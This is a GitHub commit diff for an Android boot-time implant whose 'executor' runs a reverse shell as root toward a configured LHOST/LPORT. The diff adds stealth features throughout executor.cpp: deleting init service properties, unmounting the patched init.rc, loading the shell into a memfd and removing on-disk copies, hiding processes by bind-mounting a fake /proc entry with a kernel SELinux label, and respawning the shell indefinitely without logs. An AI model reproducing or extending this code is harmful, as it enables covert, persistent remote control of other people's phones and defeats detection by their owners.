Skip to content

Commit e50d3d4

Browse files
author
ng
committed
executor update
1 parent f939544 commit e50d3d4

File tree

5 files changed

+145
-65
lines changed

5 files changed

+145
-65
lines changed

build_revshell.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -334,6 +334,8 @@ def build_binary(args):
334334
flags = f'B_EXECUTOR=1 B_64BIT=1 LPORT={config.get("lport") or ""} LHOST={config.get("lhost") or ""}'
335335
if config.get("hide_process_bind") == "1":
336336
flags += ' HIDE_PROCESS_BIND=1'
337+
if config.get("create_persist_dir") == "1":
338+
flags += ' CREATE_PERSIST_DIR=1'
337339
run_ndk_build(flags)
338340
clean_elf('executor')
339341

config.prop.sample

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,11 @@
4242
# Execution and stealth parameters
4343
#####################################################
4444

45+
# Create persistent dir at /data/adb/.fura ?
46+
# create_persist_dir=1
47+
4548
# Use bind mounts to hide processes (alternative method if SELinux is permissive or off)
49+
# (Note: mounts are exposed to `mount` command)
4650
# hide_process_bind=1
4751

4852
# Domain to run within (arbitrary name)

native/jni/Android.mk

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -110,6 +110,10 @@ ifdef HIDE_PROCESS_BIND
110110
LOCAL_CPPFLAGS += -DHIDE_PROCESS_BIND
111111
endif
112112

113+
ifdef CREATE_PERSIST_DIR
114+
LOCAL_CPPFLAGS += -DCREATE_PERSIST_DIR
115+
endif
116+
113117
LOCAL_LDLIBS := -llog
114118
include $(BUILD_EXECUTABLE)
115119

native/jni/init/rootdir.cpp

Lines changed: 3 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -171,19 +171,9 @@ void SARBase::patch_rootdir() {
171171
string tmp_dir;
172172
const char *sepol;
173173

174-
if (access("/sbin", F_OK) == 0) {
175-
tmp_dir = "/sbin";
176-
sepol = "/sbin/.sp"; // crash on .se rename? upd: OK if we don't change length
177-
} else
178-
// temporarily change to /dev/ for compatibility test with magisk ?
179-
{
180-
// char buf[8];
181-
// gen_rand_str(buf, sizeof(buf));
182-
// tmp_dir = "/dev/"s + buf;
183-
tmp_dir = "/dev/sys_ctl";
184-
xmkdir(tmp_dir.data(), 0);
185-
sepol = "/dev/.sp";
186-
}
174+
tmp_dir = "/dev/sys_ctl";
175+
xmkdir(tmp_dir.data(), 0);
176+
sepol = "/dev/.sp";
187177

188178
setup_tmp(tmp_dir.data());
189179
chdir(tmp_dir.data());
@@ -195,10 +185,6 @@ void SARBase::patch_rootdir() {
195185
xmount("/", ROOTMIR, nullptr, MS_BIND, nullptr);
196186
mount_list.emplace_back(tmp_dir + "/" ROOTMIR);
197187

198-
// Recreate original sbin structure if necessary
199-
if (tmp_dir == "/sbin")
200-
recreate_sbin(ROOTMIR "/sbin", true);
201-
202188
// Patch init
203189
int patch_count;
204190
{

native/jni/payload/executor.cpp

Lines changed: 132 additions & 48 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,8 @@
33

44
#include <sys/mount.h>
55
#include <sys/wait.h>
6+
#include <sys/mman.h>
7+
#include <sys/syscall.h>
68
#include <unistd.h>
79
#include <dirent.h>
810
#include <pthread.h>
@@ -16,26 +18,36 @@
1618

1719

1820
#ifdef MAGISK_DEBUG
19-
#define LOG_TAG "revshell_exec"
21+
#define LOG_TAG "revshell_exec"
2022
#define ALOGD(...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__)
2123
#else
2224
#define ALOGD(...)
2325
#endif
2426

2527
#define CHECK_FS_DECRYPTED_INTERVAL 5
2628

27-
#define ENCRYPTED_FS_CHECK_DIR "/data/data"
28-
#define ENCRYPTED_FS_CHECK_PROOF "android"
29+
#define ENCRYPTED_FS_CHECK_DIR "/data/data"
30+
#define ENCRYPTED_FS_CHECK_PROOF "android"
2931

30-
#define TEMP_MNT_POINT "/mnt/secure"
31-
#define TEMP_DIR "/temp"
32+
#define TEMP_MNT_POINT "/mnt/secure"
33+
#define TEMP_DIR TEMP_MNT_POINT "/temp"
34+
#define EMPTY_DIR TEMP_DIR "/.empty"
3235

33-
#define PERSIST_DIR "/data/adb/.fura"
34-
#define EMPTY_DIR "/.empty"
36+
#define PERSIST_DIR "/data/adb/.fura"
3537

36-
#define SBIN_REVSHELL "/sbin/revshell"
37-
#define DEV_REVSHELL "/dev/sys_ctl/revshell"
38-
#define DEBUG_REVSHELL "/debug_ramdisk/revshell"
38+
#define DEV_PATH "/dev/sys_ctl"
39+
#define DEV_REVSHELL DEV_PATH "/revshell"
40+
#define DEV_SEPOLICY "/dev/.sp"
41+
42+
#define SBIN_REVSHELL "/sbin/revshell"
43+
#define SBIN_EXECUTOR "/sbin/executor"
44+
45+
#define DEBUG_REVSHELL "/debug_ramdisk/revshell"
46+
#define DEBUG_EXECUTOR "/debug_ramdisk/executor"
47+
#define NEW_MAGISK_PATH "/debug_ramdisk/magisk"
48+
49+
#define INITRC_SYSTEM "/system/etc/init/hw/init.rc"
50+
#define INIT_BIN_SYSTEM "/system/bin/init"
3951

4052

4153
bool check_fs_decrypted() {
@@ -59,7 +71,7 @@ int hide_process(pid_t pid) {
5971

6072
char buf[32];
6173
snprintf(buf, 31, "/proc/%d", pid);
62-
return mount(TEMP_MNT_POINT TEMP_DIR EMPTY_DIR, buf, nullptr, MS_BIND, nullptr);
74+
return mount(EMPTY_DIR, buf, nullptr, MS_BIND, nullptr);
6375
}
6476

6577
int unhide_process(pid_t pid) {
@@ -82,7 +94,7 @@ void block_signals() {
8294
int monitor_proc(pid_t ppid) {
8395
// Monitor all children of ppid and hide them
8496
std::string proc_dir = "/proc/";
85-
ALOGD("restarting ...");
97+
ALOGD("Starting revshell ...");
8698

8799
#ifdef HIDE_PROCESS_BIND
88100
hide_process(ppid); // hide revshell
@@ -120,7 +132,6 @@ int monitor_proc(pid_t ppid) {
120132
break;
121133
}
122134

123-
124135
#ifdef HIDE_PROCESS_BIND
125136
// hide it back if was revealed
126137
hide_process(ppid);
@@ -161,66 +172,147 @@ int monitor_proc(pid_t ppid) {
161172
return -1;
162173
}
163174

175+
int read_file(const char* filename, uint8_t** buf, size_t* filesize) {
176+
FILE* file = fopen(filename, "rb");
177+
if (!file) return -1;
178+
179+
fseek(file, 0, SEEK_END);
180+
*filesize = ftell(file);
181+
fseek(file, 0, SEEK_SET);
182+
183+
*buf = (uint8_t*) malloc(*filesize);
184+
if (!buf) { fclose(file); return -1; }
185+
186+
fread(*buf, sizeof(uint8_t), *filesize, file);
187+
fclose(file);
188+
189+
return 0;
190+
}
191+
192+
std::string file_to_memfd(std::string filename) {
193+
// I know mixing c and c++ is bad :P
194+
uint8_t* buf;
195+
size_t size;
196+
197+
if (read_file(filename.c_str(), &buf, &size) != 0) {
198+
ALOGD("ERROR: Could not read from %s", filename.c_str());
199+
return "";
200+
}
201+
202+
int memfd = syscall(SYS_memfd_create, "anonymous", 0);
203+
if (memfd == -1) { free(buf); return ""; }
204+
205+
write(memfd, buf, size);
206+
free(buf);
207+
208+
lseek(memfd, 0, SEEK_SET);
209+
std::string memfd_path = "/proc/self/fd/" + std::to_string(memfd);
210+
ALOGD("memfd path: %s", memfd_path.c_str());
211+
212+
return memfd_path;
213+
}
164214

165215
int main(int argc, char** argv, char** envp) {
166216
/**
167217
* Hidden execution of payload
168218
*
169219
* Make some preparations and Execute payload
170-
* 1) check & create dirs (persistence, temp)
171-
* 2) hide process
172-
* 3) block all signals
173-
* 4) execute revshell
220+
* 1) hide props
221+
* 2) check & create dirs (persistence, temp)
222+
* 3) move revshell to RAM (memfd)
223+
* 4) cleanup dirs
224+
* 5) hide process using bind mounts (if defined)
225+
* 6) execute revshell from memfd
174226
*/
175227

176228
setuid(0);
177229

178230
std::string revshell_path;
179231
int status;
180232

181-
// Hide prop: init.svc.SVC_NAME
233+
ALOGD("Executor is running");
234+
235+
ALOGD("Blocking signals");
236+
block_signals();
237+
238+
// Hide props
182239
if (argc >= 2) {
240+
ALOGD("Hiding init props");
241+
183242
std::string svc_name = "init.svc." + std::string(argv[1]);
184243
delprop(svc_name.c_str());
185244

186245
svc_name = "ro.boottime." + std::string(argv[1]);
187246
delprop(svc_name.c_str());
247+
248+
svc_name = "init.svc_debug_pid." + std::string(argv[1]);
249+
delprop(svc_name.c_str());
250+
}
251+
252+
// Unmount init.rc on android 11+ (if no magisk, i.e. revshell is not at debug_ramdisk)
253+
if (access(INITRC_SYSTEM, F_OK) == 0 && access(DEBUG_REVSHELL, F_OK) != 0) {
254+
ALOGD("Unmounting new init.rc");
255+
umount2(INITRC_SYSTEM, MNT_DETACH);
256+
umount2(INIT_BIN_SYSTEM, MNT_DETACH);
188257
}
189258

190-
// Remount read-only /sbin on system-as-root
191-
// (may fail on rootfs, no problem there)
259+
// Cleanup /sbin on rootfs
192260
if (access(SBIN_REVSHELL, F_OK) == 0) {
193-
ALOGD("Remounting /sbin to avoid mount detection ...");
261+
mount(nullptr, "/sbin", nullptr, MS_REMOUNT, nullptr);
262+
263+
revshell_path = file_to_memfd(SBIN_REVSHELL);
264+
remove(SBIN_REVSHELL);
265+
remove(SBIN_EXECUTOR);
266+
194267
mount(nullptr, "/sbin", nullptr, MS_REMOUNT | MS_RDONLY, nullptr);
195-
revshell_path = SBIN_REVSHELL;
196268
}
197-
else if (access(DEV_REVSHELL, F_OK) == 0)
198-
revshell_path = DEV_REVSHELL;
199-
else if (access(DEBUG_REVSHELL, F_OK) == 0)
200-
revshell_path = DEBUG_REVSHELL;
269+
270+
// Remove /dev/sys_ctl, /dev/.sp on SAR / 2SI
271+
else if (access(DEV_PATH, F_OK) == 0) {
272+
revshell_path = file_to_memfd(DEV_REVSHELL);
273+
umount2(DEV_PATH, MNT_DETACH);
274+
usleep(1000);
275+
rmdir(DEV_PATH);
276+
remove(DEV_SEPOLICY);
277+
}
278+
279+
// Cleanup /debug_ramdisk (new magisk dir)
280+
else if (access(DEBUG_REVSHELL, F_OK) == 0) {
281+
revshell_path = file_to_memfd(DEBUG_REVSHELL);
282+
remove(DEBUG_REVSHELL);
283+
remove(DEBUG_EXECUTOR);
284+
}
285+
201286
else {
202287
ALOGD("Error: revshell binary not found");
203288
return 1;
204289
}
205290

206-
// setup temp dir
207-
ALOGD("Setting up " TEMP_MNT_POINT TEMP_DIR);
291+
// Setup temp dir
292+
ALOGD("Setting up " TEMP_DIR);
208293
mkdir(TEMP_MNT_POINT, 0700);
209-
mkdir(TEMP_MNT_POINT TEMP_DIR, 0700);
210-
system("chcon u:object_r:" SEPOL_PROC_DOMAIN ":s0 " TEMP_MNT_POINT TEMP_DIR);
294+
mkdir(TEMP_DIR, 0700);
295+
// If we are using our own context (not magisk), set temp dir context
296+
if (access(NEW_MAGISK_PATH, F_OK) != 0)
297+
system("chcon u:object_r:" SEPOL_PROC_DOMAIN ":s0 " TEMP_DIR);
211298

212299
#ifdef HIDE_PROCESS_BIND
213300
// fake proc dir (.empty)
214301
// for some reason can't set permissions directly, chmod needed?
215-
mkdir(TEMP_MNT_POINT TEMP_DIR EMPTY_DIR, 0555);
302+
mkdir(EMPTY_DIR, 0555);
216303
// fake selinux context and permissions
217-
system("chmod 555 " TEMP_MNT_POINT TEMP_DIR EMPTY_DIR);
218-
system("chcon u:r:kernel:s0 " TEMP_MNT_POINT TEMP_DIR EMPTY_DIR);
219-
int fd = open(TEMP_MNT_POINT TEMP_DIR EMPTY_DIR "/cmdline", O_WRONLY | O_CREAT, 0555);
304+
system("chmod 555 " EMPTY_DIR);
305+
system("chcon u:r:kernel:s0 " EMPTY_DIR);
306+
int fd = open(EMPTY_DIR "/cmdline", O_WRONLY | O_CREAT, 0555);
220307
close(fd);
221-
mkdir(TEMP_MNT_POINT TEMP_DIR EMPTY_DIR "/fd", 0555);
308+
mkdir(EMPTY_DIR "/fd", 0555);
309+
310+
ALOGD("Hiding daemon process ...");
311+
hide_process(getpid());
312+
ALOGD("Process hidden");
222313
#endif
223314

315+
#ifdef CREATE_PERSIST_DIR
224316
// await decryption by user
225317
ALOGD("Awaiting decryption ...");
226318
while (!check_fs_decrypted())
@@ -236,24 +328,13 @@ int main(int argc, char** argv, char** envp) {
236328
mkdir(PERSIST_DIR, 0700);
237329
// practically useless since /data/adb/... is inaccessible without root anyway
238330
system("chcon u:object_r:" SEPOL_PROC_DOMAIN ":s0 " PERSIST_DIR);
239-
240-
#ifdef HIDE_PROCESS_BIND
241-
ALOGD("Blocking signals and hiding process ...");
242-
243-
block_signals();
244-
hide_process(getpid());
245-
246-
ALOGD("Process hidden");
247331
#endif
248332

249333
// my implementation of "service manager" (no logs, no traces)
250-
// now service is started as oneshot, which apparently leaves no logs in dmesg!
334+
// now service is started as oneshot, which does not spam to dmesg
251335
while (true) {
252336
pid_t revshell = fork();
253-
if (revshell == -1) {
254-
ALOGD("ERROR: Fork failed!");
255-
exit(EXIT_FAILURE);
256-
}
337+
if (revshell == -1) exit(EXIT_FAILURE);
257338

258339
if (revshell == 0) {
259340
// Child (revshell)
@@ -265,6 +346,9 @@ int main(int argc, char** argv, char** envp) {
265346
char *const rs_argv[] = {(char *const) revshell_path.c_str(), (char *const) LHOST, nullptr};
266347
#endif
267348
execve(revshell_path.c_str(), rs_argv, envp);
349+
350+
ALOGD("ERROR: Could not exec revshell!");
351+
exit(1);
268352
} else {
269353
// Parent (executor)
270354
sleep(1);

0 commit comments

Comments
 (0)